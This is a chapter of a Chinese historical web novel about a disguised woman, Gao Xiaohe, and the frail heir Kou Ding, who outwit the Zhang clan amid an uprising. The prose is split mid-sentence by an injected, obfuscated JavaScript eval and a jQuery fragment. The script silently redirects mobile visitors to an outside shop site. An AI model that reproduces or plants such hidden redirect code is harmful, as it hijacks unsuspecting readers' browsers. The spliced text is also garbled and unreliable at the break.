“挑的什么?”
“西瓜。”
遮凉的棉布掀开,一把粗柄铁刀哗啦一声扎进瓜中,熟透的西瓜炸开脆响,红瓤四分五裂,汁水沁湿了半边竹筐。
送瓜的下人惊得跳开,生气道:“这是做什么!世子连一颗整瓜都吃不得了?!”
“谁知道你这瓜里有没有藏着什么古怪?国公爷说了,凡是怀恩侯府进出的东西,不管活着死了,统统都要仔细检查一遍,没经过咱家的手,连只蚊子也别想飞进去!”
“你们真是欺人太甚,我——”
“算了。”边上另一个稳重些的侯府下人拽住了他,忍气吞声道:“先进去再说。”
俩人从侯府侧门入内,直奔伙房,路上送瓜的伙计忍不住发牢骚,抱怨说:“张家真是鸡犬升天了,什么样的小人都能出来满大街拉屎,当初我们老侯爷开疆拓土的时候,还不知道这帮孙子在哪儿撒尿和泥巴呢!”
身边那位只是冷笑,却不搭话,一边走路一边解了头巾,从脖子和锁骨的边缘搓起一张皮来,接着扬手撕下。
送瓜的伙计哟嚯一声,捂着心口跳开半步:“高姑娘,您下回变身能不能提前说一声,虽说我有准备,可这也太瘆人了。”
高晓荷心道,铡刀在侧,即便自己真是一只游荡的孤魂野鬼,能有如今侯府面对的危机吓人吗?她不言语,走进厨房舀了一瓢水灌下,抹干嘴打算去找寇定,身后搭档趁这点儿功夫,麻利地洗干净碎成几瓣的西瓜,削去面上那层不干净的红瓤,将剩下的置于干净砧板上,另取了一把刀,手起刀落,唰唰几下就切成了漂亮的果盘,装在绿色琉璃碟子里,周围摆了一圈碎冰。
“哎!”小伙计叫住她:“高姑娘,把这盘西瓜给世子带过去吧。”
高晓荷转身驻足,看着冒着凉气的果盘迟疑道:“他还能吃这个?”
据高晓荷了解,寇定那副身子骨比哥窑的开片裂纹瓷器还易碎,平日看着挺像那么回事,实则这不能吃那不能吃,光论食谱,恐怕比和尚都窄。
伙计笑了,捧起砧板上剩下的瓜皮,啃了一口白瓤说:“只管送就是了,他不见得吃,可咱家心意得送到啊。”
高晓荷默默地托了一盘西瓜走了,心想这职场的智慧自己还有得琢磨呢。
她到时,寇定正卧在书房的椅子上摇骰子玩,他面前的桌上铺了一张自己画的奇怪地图,地图上画满了横平竖直的小方格,骰子摇出几,寇定就慢动作起身将棋子往前挪动几步,这游戏玩了半刻钟,寇定也终于懒得再做什么仰卧起坐了,怪费腰的——他干脆用眼神在大脑里记下棋子行动轨迹。
就在世子大人不断抬眼又垂眼的过程中,高晓荷不请自来。
寇定不好在她一个姑娘家面前散德行,忙起身坐好,端出一个笑脸道:“高小姐来了,有失远迎。”
高晓荷对这蓝颜祸水的态度,比先前又进步了许多,能够直视他堂堂正正地说话了:“今日一早我又去了趟镖局,还是没有周大夫的消息。”
寇定脸颊上的肌肉一抽,低下头去点了点说:“好,多谢。”
“长江洪水,算着日子,她约莫正好滞留到洞庭一带,不知道景况如何。”
寇定低头看着面前的地图,一下子忘了自己刚才走到哪儿,他匆忙笑了一下,转移话题道:“说说张国舅家的事儿吧。”
高晓荷上前一步,将西瓜盘子放在他桌案上,静静道:“如你所料,他们现在内部起哄,塞北的事鞭长莫及,矛盾中心全都转到你身上来了。”
寇定轻笑两声,收拾好骰子、叠起地图,慢吞吞说:“老爷子没造反的时候他们一个个雷霆万钧,恨不得马上就把侯府翻过来刨干净,现在老爷子真反了,举旗南下,他们反倒投鼠忌器,不敢动我了,你说说这群人,真是怕死。”
“侯爷几时能到京城?”高晓荷双手撑在桌边,压着几分心焦问。
寇定抬头看着她,静静道:“昼夜兼程,后日破晓。”
高晓荷面色凝重,担忧道:“张家有疯狗,只怕会赶在侯爷回城之前加害于你。”
寇定挑眉,开了个玩笑说:“我倒想见识见识他们的手段,侯府不算固若金汤,可却也不是什么阿猫阿狗都能闯进来的。”
高晓荷压下眉毛,急切地插话说:“当真不走吗?”
“你也看见了,我现在不是说走就能走的。”
“只要你开口,我——”
“高小姐不必为我冒这么大险。”寇定为人,表面上自恋又自负,不管男女老少,哪怕路过的狗多看了他一眼,他也要上去调侃两句“别爱我没结果”,实则一旦察觉到真心意,反而小心躲过,生怕碰碎人心。
不料高晓荷只顿了一顿,紧接着眼神都没偏一下地接话道:“世子多虑了,周大夫离京之前曾嘱托我照看好你,你若是有个万一,我将来……”她说到这里,想到如今不知是生是死的故人,忽然眼眶一热,改口道:“我即使到了九泉之下也无法向她交代。”
寇定嘴唇翕动两下,一时尴尬得没找到话说,原来是周大夫的死忠啊,他心里不服地哼了一声,却听高晓荷接着讲:“况且侯爷抵京之日世子若还在城中,免不了大动干戈,城中百姓怎么办?烽烟四起,断壁残垣,这恐怕也是周大夫最不愿看见的。”
“你几时还想到了这一层?”寇定不由得正色看她了。
高晓荷将西瓜盘往他手边推了推,轻声道:“周大夫在狱中曾以命劝我,人这一生,得先想清楚自己为什么,再去想做什么。”
寇定欣慰地点点头,戳起一块西瓜放入口中,舌尖刚碰到瓜瓤便皱起眉头,好悬忍住了没将吐出去。
“怎么了?”高晓荷紧张道。
寇定用力咽下去西瓜,指着琉璃盘子道:“这瓜一股铁腥味,在门口让人劈过了吧?”
高晓荷低头看瓜,无言以对,她着实佩服这少爷精准又挑剔的味觉,更佩服厨房里切瓜的那位伙计,这侯府上下不论主仆都没一个是吃素的。
“帮我端出去扔了吧。”寇定懒洋洋地扔了竹签,待高晓荷端起盘子正要转身,他又开口道:“离京的事,你不妨去和送瓜的那位小伙计打听打听。”
高晓荷浑身一僵,睁大了眼。
此时张宣母亲正从宫中请了安出来,一个张太后死了,还有无数个张太后等着顶上,反正他们老张家叶繁叶茂,最不缺的就是可以多功能利用的女儿,如今执掌后宫的正是不到二十岁的前朝妃嫔张氏,她嫁给先帝那个糟老头时才虚岁十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664177|206097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
五,心智懵懂,久居深宫,没过两年皇上又死了,她彻底成了个提线木偶似的活死人,姑妈几句话哄走她手上符印,也是情理之中的事了。
对于张宣在挽月楼葬身火海这件事,他娘始终觉得儿子死得冤枉,憋着一口气想要报仇雪恨,不像他爹,更多的是觉得儿子死得不体面,有些丢老张家的人,不过听说妻子打算整死那个和纵火案息息相关的病秧子,他倒也不反对——反正他早就看怀恩侯府不顺眼了。
听闻寇丹分兵三万直指京城,俩口子便清楚报仇的窗口期很短了,毕竟家族里软蛋那么多,真等到寇丹兵临城下那一天,那伙人临阵反水,将寇家奉为座上宾也不是没可能。
谋窃太后符印,伪造圣旨调动禁军,这么疯狂的主意是张宣他娘想出来的,他爹对该计划的态度……有些模棱两可,不支持也罢,侯爵夫人和丈夫过了半辈子,最清楚他那副趋利避害的德行,不指望他能帮上忙,不拦着自己就不错了。
可干坏事,尤其是这么大的坏事总得有个宽敞点的地方,至少和下边人把计划布达清楚吧?既然丈夫不表态,就说明家中宅院不能予她,侯爵夫人左思右想,将主意打到了离宫城不到一里路的张家旧宅上,那里曾经是张家第一代举人的居所,多年前一名贫寒学子进京赶考,因第一年没能中榜,盘缠用尽而在此卖字为生,对面酒肆的老板相中了他,托付独女,那位穷书生就此在京城之中有了立锥之地,京城人才济济,过江之鲫们想要鱼跃龙门,那也是要排队等气运的。
穷书生靠着丈人托举,等了三年气运,总算是一举高中,张家自此发迹。
这段赘婿的历史,张氏后人渐渐不愿意听人提起了,毕竟如今自己贵为皇亲国戚,谁还愿意承认当初给自己祖宗抬桩的,不过是一个黄酒贩子呢?
但是那处祖宅一直没敢卖,传说它现在荒草从生,院子地下埋着个大酒窖,惹得京中不少人日思夜想,譬如老马之流。
老马听说要分个人去张氏祖宅,主动请缨,正往腿上绑缚带的年轻人笑话他:“老马你不是一向有危险冲在最前面吗?今夜禁军出动,咱们家里才是最危险的地方。”
“你懂什么!”老马笑着脸拍寇定马屁,谄媚道:“世子,这种深入敌后的的事儿还是交给俺这样的老手。”
寇定允了,交给他一个沉甸甸的布袋,要他到张氏祖宅之后再看,任务完成后,子时三刻务必赶到北城门与自己汇合。
那布袋里的东西挺硬,老马蹲在张家院子的墙头上,将它从怀里掏出来之前,第一百八十遍想象这是个酒器,等真正露了面,他才惊讶发现,这是一把火铳。
寇定给他留了条子,写着今夜若禁军自毁不成,则以此铳引爆地窖。
还没等他想明白引爆两个字是怎么回事,他脚下的墙体便轰隆一震——惨白月光照着的张家旧院里,数百禁军卫士顷刻被尘土与火光吞噬,老马从墙头上摔下来,就地一滚,脑子被震懵了,好半天才反应过来,世子诓他玩呢!那地窖里藏着的根本不是酒,是火药。
可自己没下手,那是谁下的手呢?
老马在草丛里乱摸一通,找到那张纸条,就着月光迷迷糊糊地看完,原来寇定在第二句里写着:纵火者,继太后之父张隐是也。